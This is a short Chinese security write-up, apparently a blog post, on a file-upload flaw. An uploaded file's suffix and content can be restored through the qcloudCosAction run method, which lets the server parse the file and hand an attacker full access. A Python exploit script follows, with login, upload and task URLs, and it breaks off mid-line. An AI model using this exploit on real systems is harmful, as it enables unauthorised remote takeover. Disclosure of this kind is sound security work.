原理文件上传点存在一个白名单，在白名单之外的内容会被添加后缀并base64编码文件内容，编码后的文件会获得一个id，通过webmain/task/runt/qcloudCosAction.php中的qcloudCosAction类的run方法，提供对应的id即可复原后缀和内容，从而导致上传的文件被解析。危害攻击者可获得系统的完整访问权限。POC & EXPimport requests session = requests.session() url_pre = 'http://x.x.x.x/' url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953' url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913' url3 = url_pre + '/task.php?m=qcloudCos|runt&a=
Equinox
一个乐于分享的网安人
